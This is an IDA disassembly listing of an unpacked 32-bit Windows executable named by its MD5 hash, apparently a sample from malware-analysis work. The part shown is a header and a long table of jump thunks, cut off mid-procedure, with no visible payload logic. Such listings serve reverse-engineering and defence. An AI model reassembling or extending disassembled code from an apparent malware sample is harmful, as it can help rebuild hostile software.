;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	2FFFD1EA104857431E4FC0CABE208A4E

; File Name   :	u:\work\2fffd1ea104857431e4fc0cabe208a4e_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00110000 (1114112.)
; Section size in file		: 00110000 (1114112.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		db 5 dup(0CCh)
; ---------------------------------------------------------------------------
		jmp	loc_42F6D0
; ---------------------------------------------------------------------------


loc_40100A:				; DATA XREF: ___:off_43E09Co
		jmp	loc_412D30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40100F	proc near		; CODE XREF: sub_421BA0+29p
		jmp	sub_422100
sub_40100F	endp

; ---------------------------------------------------------------------------
		jmp	loc_4312F0
; ---------------------------------------------------------------------------
		jmp	loc_420E50

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40101E	proc near		; CODE XREF: ___:00411963p
		jmp	sub_411990
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401023	proc near		; CODE XREF: ___:0040B24Dp
					; ___:0040B25Ap ...
		jmp	sub_403C00
sub_401023	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_41FB40+34p
		jmp	sub_40B090
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40102D	proc near		; CODE XREF: sub_404C70+616p
					; sub_404C70+6D5p ...
		jmp	sub_40A0C0
sub_40102D	endp

; ---------------------------------------------------------------------------
		jmp	sub_42A1A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401037	proc near		; CODE XREF: sub_413590+3Bp
					; ___:00414BB0p
		jmp	sub_415680
sub_401037	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40103C	proc near		; CODE XREF: sub_42F8E0+6Ep
					; sub_42F8E0+8Ap ...
		jmp	sub_433080
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401041	proc near		; CODE XREF: ___:0042EFC2p
					; sub_42F8E0+3Fp ...
		jmp	sub_432F00
sub_401041	endp

; ---------------------------------------------------------------------------
		jmp	loc_4239F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40104B	proc near
		jmp	sub_40D1C0
sub_40104B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_40B090+3Ap
					; sub_40B100+1Ap
		jmp	sub_432A20
sub_401050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401055	proc near		; CODE XREF: sub_41E710+37Bp
		jmp	sub_421CE0
sub_401055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105A	proc near		; CODE XREF: sub_40C150+8p
		jmp	sub_40C310
sub_40105A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105F	proc near		; CODE XREF: sub_4319A0+5Ap
					; sub_4337B0+50p
		jmp	sub_431960
sub_40105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401064	proc near		; DATA XREF: ___:off_43E07Co
		jmp	sub_41C6C0
sub_401064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401069	proc near		; CODE XREF: ___:00416F5Ap
		jmp	sub_41FC80
sub_401069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40106E	proc near		; CODE XREF: sub_40BFF0+32p
		jmp	sub_40C1B0
sub_40106E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401073	proc near		; CODE XREF: ___:00416F6Ap
		jmp	sub_418340
sub_401073	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401078	proc near		; CODE XREF: sub_4158D0+6Ap
					; sub_416330+32p
		jmp	sub_416270
sub_401078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40107D	proc near		; CODE XREF: sub_41E710+161p
					; sub_422490+3p
		jmp	sub_421B00
sub_40107D	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AD90
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40108C	proc near		; CODE XREF: sub_421CE0+3p
					; ___:004220AFp ...
		jmp	sub_422220
sub_40108C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401091	proc near		; CODE XREF: sub_40C490+43p
		jmp	sub_40CB60
sub_401091	endp

; ---------------------------------------------------------------------------
		jmp	sub_428090

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40109B	proc near		; CODE XREF: sub_407570+Ap
		jmp	sub_407610
sub_40109B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_424680+23p
					; sub_424820+6p ...
		jmp	sub_424590
sub_4010A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A5	proc near		; CODE XREF: sub_430CA0+F5p
					; sub_430CA0+14Fp
		jmp	sub_432E90
sub_4010A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AA	proc near		; CODE XREF: sub_433270+C8p
		jmp	sub_430A30
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AF	proc near		; DATA XREF: ___:0043E174o
		jmp	sub_429E60
sub_4010AF	endp

; ---------------------------------------------------------------------------


loc_4010B4:				; DATA XREF: ___:off_43E0A0o
		jmp	loc_41E370

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B9	proc near		; CODE XREF: sub_4183E0+D0p
					; sub_418540+2Dp
		jmp	sub_418AD0
sub_4010B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BE	proc near		; CODE XREF: sub_40FFE0+8D9p
					; sub_40FFE0+990p ...
		jmp	sub_4118E0
sub_4010BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C3	proc near		; CODE XREF: ___:0042F3D6p
					; ___:0042F444p ...
		jmp	sub_430FA0
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C8	proc near		; CODE XREF: sub_421E00+9p
					; sub_4222F0+18p
		jmp	sub_422470
sub_4010C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CD	proc near		; CODE XREF: sub_40AA80+58p
					; sub_40AA80+82p ...
		jmp	sub_40AC70
sub_4010CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D2	proc near		; CODE XREF: sub_422AF0+3F1p
					; ___:00423B56p ...
		jmp	sub_419B90
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010D7	proc near		; CODE XREF: sub_4160C0+7p
		jmp	sub_4166F0
sub_4010D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_4155B0+5Bp
					; sub_415F20+11p ...
		jmp	sub_416170
sub_4010DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E1	proc near		; CODE XREF: sub_429CD0+58p
		jmp	sub_429B40
sub_4010E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010E6	proc near		; CODE XREF: sub_421920+1Fp
		jmp	sub_421D60
sub_4010E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EB	proc near		; CODE XREF: sub_422060+11p
					; ___:00422087p ...
		jmp	sub_422580
sub_4010EB	endp

; ---------------------------------------------------------------------------
		jmp	loc_413DE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F5	proc near		; CODE XREF: sub_421AE0+3p
					; ___:00421E4Fp ...
		jmp	sub_421FC0
sub_4010F5	endp

; ---------------------------------------------------------------------------
		jmp	loc_414480

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FF	proc near		; CODE XREF: sub_426FC0+3p
		jmp	sub_426FF0
sub_4010FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401104	proc near		; CODE XREF: sub_415AB0+11p
					; ___:00415AD7p ...
		jmp	sub_416520
sub_401104	endp

; ---------------------------------------------------------------------------
		jmp	loc_4333B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40110E	proc near		; CODE XREF: sub_421C10+5p
					; sub_421D00+6p ...
		jmp	sub_422200
sub_40110E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401113	proc near		; CODE XREF: ___:00416B0Bp
					; ___:00439FFEj ...
		jmp	sub_417B10
sub_401113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401118	proc near		; CODE XREF: sub_404C70+6Ap
					; sub_404C70+1AFp ...
		jmp	sub_4129F0
sub_401118	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40111D	proc near		; DATA XREF: ___:off_43E074o
		jmp	sub_419370
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401122	proc near		; CODE XREF: sub_431AC0+6p
					; ___:00431AD3p ...
		jmp	sub_42F520
sub_401122	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E470
; ---------------------------------------------------------------------------


loc_40112C:				; DATA XREF: ___:off_43E15Co
		jmp	loc_429AD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401131	proc near		; CODE XREF: ___:00423D4Dp
		jmp	sub_423810
sub_401131	endp

; ---------------------------------------------------------------------------
		jmp	loc_431FF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40113B	proc near		; CODE XREF: ___:00415128p
		jmp	sub_415A40
sub_40113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401140	proc near		; CODE XREF: sub_41BA00+F7p
					; sub_41BA00+10Bp ...
		jmp	sub_409F30
sub_401140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401145	proc near		; CODE XREF: sub_4099A0+Ap
		jmp	sub_409A90
sub_401145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114A	proc near		; CODE XREF: sub_413450+55p
					; sub_413450+94p ...
		jmp	sub_415810
sub_40114A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114F	proc near		; CODE XREF: sub_4250B0+18Cp
		jmp	sub_4236A0
sub_40114F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401154	proc near		; CODE XREF: ___:00414C3Ep
		jmp	sub_4155B0
sub_401154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401159	proc near		; CODE XREF: sub_4276A0+3p
		jmp	sub_4276D0
sub_401159	endp

; ---------------------------------------------------------------------------


loc_40115E:				; DATA XREF: ___:off_43E038o
		jmp	loc_411960

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401163	proc near		; CODE XREF: sub_415E80+11p
					; ___:00415EA7p ...
		jmp	sub_4166A0
sub_401163	endp

; ---------------------------------------------------------------------------
		jmp	loc_41D7E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40116D	proc near		; CODE XREF: sub_418BC0+23p
					; sub_418E30+11p
		jmp	sub_418F10
sub_40116D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401172	proc near		; CODE XREF: sub_418B40+3p
					; sub_418F40+54p ...
		jmp	sub_418D90
sub_401172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401177	proc near		; CODE XREF: sub_409690+6Ap
					; sub_409690+103p
		jmp	sub_409930
sub_401177	endp

; ---------------------------------------------------------------------------
		jmp	loc_4328E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401181	proc near		; CODE XREF: ___:00413DFDp
		jmp	sub_413BF0
sub_401181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401186	proc near		; CODE XREF: ___:0041A294p
		jmp	sub_41B090
sub_401186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40118B	proc near		; CODE XREF: sub_413450+88p
					; sub_414850+BFp ...
		jmp	sub_4159E0
sub_40118B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401190	proc near		; CODE XREF: sub_42F520+7p
					; sub_42F590+19p ...
		jmp	sub_433950
sub_401190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401195	proc near
		jmp	sub_40DBA0
sub_401195	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40119A	proc near		; CODE XREF: ___:0043114Ap
		jmp	sub_430AF0
sub_40119A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40119F	proc near		; CODE XREF: sub_4071E0+11p
					; sub_407370+1Fp
		jmp	sub_407410
sub_40119F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A4	proc near		; CODE XREF: sub_4036D0+3B5p
					; sub_4036D0+3C5p ...
		jmp	sub_403E00
sub_4011A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A9	proc near		; CODE XREF: sub_421CC0+3p
		jmp	sub_422240
sub_4011A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011AE	proc near		; CODE XREF: sub_40C2E0+Ap
		jmp	sub_40C3A0
sub_4011AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B3	proc near		; CODE XREF: sub_4036D0+1Dp
					; sub_407030+1Fp ...
		jmp	sub_403C70
sub_4011B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011B8	proc near		; CODE XREF: ___:004132F4p
					; ___:00439A2Cj ...
		jmp	sub_415440
sub_4011B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011BD	proc near		; CODE XREF: sub_42B3F0+3p
		jmp	sub_42B420
sub_4011BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AF90

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011C7	proc near		; CODE XREF: ___:00414C4Dp
		jmp	sub_414CF0
sub_4011C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011CC	proc near		; CODE XREF: sub_407610+7p
					; sub_409A90+7p ...
		jmp	sub_407640
sub_4011CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D1	proc near		; CODE XREF: sub_413590+73p
					; ___:00414BEDp ...
		jmp	sub_4156A0
sub_4011D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D6	proc near		; CODE XREF: sub_41E710+58p
		jmp	sub_4205E0
sub_4011D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011DB	proc near		; CODE XREF: sub_413E20+84p
		jmp	sub_413860
sub_4011DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E0	proc near		; CODE XREF: ___:004324C8p
		jmp	sub_42FE10
sub_4011E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E5	proc near		; CODE XREF: sub_4074C0+8p
		jmp	sub_4075A0
sub_4011E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EA	proc near		; CODE XREF: sub_404C70+9Fp
					; sub_404C70+230p ...
		jmp	sub_40A4C0
sub_4011EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011EF	proc near		; CODE XREF: sub_40A820+21p
					; sub_40AA80+A5p
		jmp	sub_40AA60
sub_4011EF	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B000

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F9	proc near		; CODE XREF: sub_40A4C0+129p
					; sub_40A8A0+4p ...
		jmp	sub_40A870
sub_4011F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011FE	proc near		; DATA XREF: ___:off_43E0DCo
		jmp	sub_4266F0
sub_4011FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401203	proc near		; CODE XREF: ___:0043235Dp
		jmp	sub_42FB10
sub_401203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401208	proc near		; CODE XREF: sub_4072F0+3p
					; ___:004073BFp ...
		jmp	sub_407480
sub_401208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40120D	proc near		; CODE XREF: sub_41D8E0+346p
					; sub_41D8E0+410p ...
		jmp	sub_421920
sub_40120D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401212	proc near		; CODE XREF: sub_421B60+11p
					; sub_422060+1Fp
		jmp	sub_422190
sub_401212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401217	proc near		; CODE XREF: sub_42B590+3p
		jmp	sub_42B5C0
sub_401217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40121C	proc near
		jmp	sub_407790
sub_40121C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401221	proc near		; CODE XREF: sub_40C1B0+5Fp
		jmp	sub_40C380
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401226	proc near		; CODE XREF: sub_4034E0+F6p
					; sub_4034E0+12Ep ...
		jmp	sub_409CC0
sub_401226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40122B	proc near		; CODE XREF: sub_41E710+113p
					; sub_41E710+124p
		jmp	sub_421AE0
sub_40122B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401230	proc near		; DATA XREF: ___:0043E060o
		jmp	sub_41F910
sub_401230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401235	proc near		; CODE XREF: ___:00416BABp
					; ___:00439F72j ...
		jmp	sub_417760
sub_401235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123A	proc near		; CODE XREF: sub_40AF50+Fp
		jmp	sub_42FFF0
sub_40123A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40123F	proc near		; CODE XREF: sub_418BC0+32p
		jmp	sub_418E30
sub_40123F	endp

; ---------------------------------------------------------------------------
		jmp	loc_433610

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401249	proc near		; CODE XREF: sub_4154B0+5p
					; sub_4156C0+6p ...
		jmp	sub_4160E0
sub_401249	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40124E	proc near		; CODE XREF: sub_40BD40+29p
					; sub_40BE60+29p
		jmp	sub_40BFF0
sub_40124E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401253	proc near		; CODE XREF: sub_41E710+3E9p
					; ___:0043B24Bj
		jmp	sub_421BA0
sub_401253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401258	proc near		; CODE XREF: sub_414550+BFp
		jmp	sub_415290
sub_401258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40125D	proc near		; CODE XREF: sub_416590+Ap
		jmp	sub_4168D0
sub_40125D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401262	proc near		; CODE XREF: ___:00416C17p
					; ___:00439F13j ...
		jmp	sub_417060
sub_401262	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401267	proc near
		jmp	sub_4183E0
sub_401267	endp

; ---------------------------------------------------------------------------
		jmp	sub_416CE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401271	proc near		; CODE XREF: ___:00416ECFp
		jmp	sub_418080
sub_401271	endp

; ---------------------------------------------------------------------------
		jmp	loc_414710
; ---------------------------------------------------------------------------
		jmp	loc_42F0D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401280	proc near		; CODE XREF: sub_40FFE0+387p
					; sub_41EFE0+21Dp ...
		jmp	sub_41B790
sub_401280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401285	proc near		; CODE XREF: ___:00416F0Ap
		jmp	sub_418230
sub_401285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40128A	proc near		; CODE XREF: sub_409520+8p
		jmp	sub_409570
sub_40128A	endp

; ---------------------------------------------------------------------------
		jmp	loc_429AD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401294	proc near		; CODE XREF: sub_409690+A5p
					; sub_412C40+21p
		jmp	sub_4098A0
sub_401294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401299	proc near		; CODE XREF: sub_404C70+382p
					; sub_41D8E0+5AAp
		jmp	sub_41C0E0
sub_401299	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40129E	proc near		; CODE XREF: ___:00416E1Fp
		jmp	sub_4036D0
sub_40129E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A3	proc near		; CODE XREF: sub_418C70+23p
					; sub_418F40+11p
		jmp	sub_419090
sub_4012A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A8	proc near		; CODE XREF: sub_4248D0+Cp
					; sub_4248D0+3Ep ...
		jmp	sub_4243C0
sub_4012A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F710

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B2	proc near		; CODE XREF: sub_404C70+85Ap
					; sub_404C70+AD6p ...
		jmp	sub_40A320
sub_4012B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B7	proc near		; CODE XREF: ___:0042EBB6p
					; ___:0042EC06p ...
		jmp	sub_431530
sub_4012B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012BC	proc near		; CODE XREF: sub_41E710+367p
					; sub_41E710+3D4p ...
		jmp	sub_421D30
sub_4012BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C1	proc near		; DATA XREF: sub_426B00+107o
		jmp	sub_426D80
sub_4012C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C6	proc near		; CODE XREF: sub_4247B0+18p
					; sub_4247F0+Ap ...
		jmp	sub_424760
sub_4012C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012CB	proc near		; CODE XREF: sub_4161D0+9p
					; sub_416270+18p
		jmp	sub_416880
sub_4012CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012D0	proc near		; DATA XREF: sub_431320+32o
		jmp	sub_431B20
sub_4012D0	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EC00
; ---------------------------------------------------------------------------
		jmp	loc_419C60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DF	proc near		; CODE XREF: sub_429B40+67p
		jmp	sub_41FFA0
sub_4012DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4012E4	proc near		; CODE XREF: ___:0042EF98p
					; sub_42F150+2p ...
		jmp	sub_430310
sub_4012E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E9	proc near		; CODE XREF: sub_4136F0+3Fp
					; sub_414550+40p ...
		jmp	sub_4151E0
sub_4012E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012EE	proc near		; CODE XREF: sub_404640+19Fp
					; sub_404640+212p ...
		jmp	sub_409F80
sub_4012EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F3	proc near		; CODE XREF: sub_424F20+B5p
					; sub_424F20+F1p
		jmp	sub_424EB0
sub_4012F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F8	proc near		; CODE XREF: sub_4250B0+130p
		jmp	sub_424F20
sub_4012F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012FD	proc near		; CODE XREF: ___:00416EEAp
		jmp	sub_418130
sub_4012FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401302	proc near		; CODE XREF: ___:00416EBFp
		jmp	sub_417FC0
sub_401302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401307	proc near		; CODE XREF: sub_430470+1p
		jmp	sub_430500
sub_401307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40130C	proc near		; CODE XREF: ___:00425FB1p
		jmp	sub_4264F0
sub_40130C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401311	proc near		; CODE XREF: sub_4183E0+71p
					; sub_4183E0+BBp ...
		jmp	sub_418AA0
sub_401311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401316	proc near		; CODE XREF: sub_40A130+7p
		jmp	sub_40A150
sub_401316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40131B	proc near		; CODE XREF: ___:00431778p
					; sub_4317D0+2Bp
		jmp	sub_4319A0
sub_40131B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401320	proc near		; CODE XREF: sub_431320+1p
		jmp	sub_431560
sub_401320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401325	proc near		; CODE XREF: sub_420890+37Bp
		jmp	sub_421C80
sub_401325	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40132A	proc near		; CODE XREF: sub_4143E0+5Bp
		jmp	sub_4150B0
sub_40132A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132F	proc near		; CODE XREF: sub_415440+29p
					; sub_415560+29p
		jmp	sub_415FE0
sub_40132F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401334	proc near		; CODE XREF: ___:00435FE2p
					; ___:00435FF2p ...
		jmp	sub_435EA0
sub_401334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401339	proc near		; CODE XREF: sub_413450+5Fp
					; sub_413450+9Ep ...
		jmp	sub_415A10
sub_401339	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40133E	proc near		; CODE XREF: sub_40B5B0+62p
					; ___:0040BA78p ...
		jmp	sub_40BEF0
sub_40133E	endp

; ---------------------------------------------------------------------------
		jmp	loc_430160
; ---------------------------------------------------------------------------
		jmp	loc_42ECE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40134D	proc near		; DATA XREF: ___:0043E1A8o
		jmp	sub_42B440
sub_40134D	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B380

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401357	proc near		; CODE XREF: sub_416140+8p
		jmp	sub_416760
sub_401357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40135C	proc near		; CODE XREF: sub_413450+71p
					; sub_413450:loc_41351Cp ...
		jmp	sub_4159C0
sub_40135C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401361	proc near		; CODE XREF: sub_4183E0+AFp
					; sub_419090+3p
		jmp	sub_418B60
sub_401361	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401366	proc near		; DATA XREF: ___:0043E104o
		jmp	sub_426B00
sub_401366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40136B	proc near		; CODE XREF: sub_40B5B0+39p
					; sub_40B5B0+78p ...
		jmp	sub_40BF20
sub_40136B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401370	proc near		; CODE XREF: sub_425840+29p
					; sub_425840+38p
		jmp	sub_425750
sub_401370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401375	proc near		; CODE XREF: sub_41A5B0+1Cp
		jmp	sub_41A5F0
sub_401375	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40137A	proc near		; DATA XREF: ___:0043E164o
		jmp	sub_429CD0
sub_40137A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40137F	proc near		; CODE XREF: ___:00408C48p
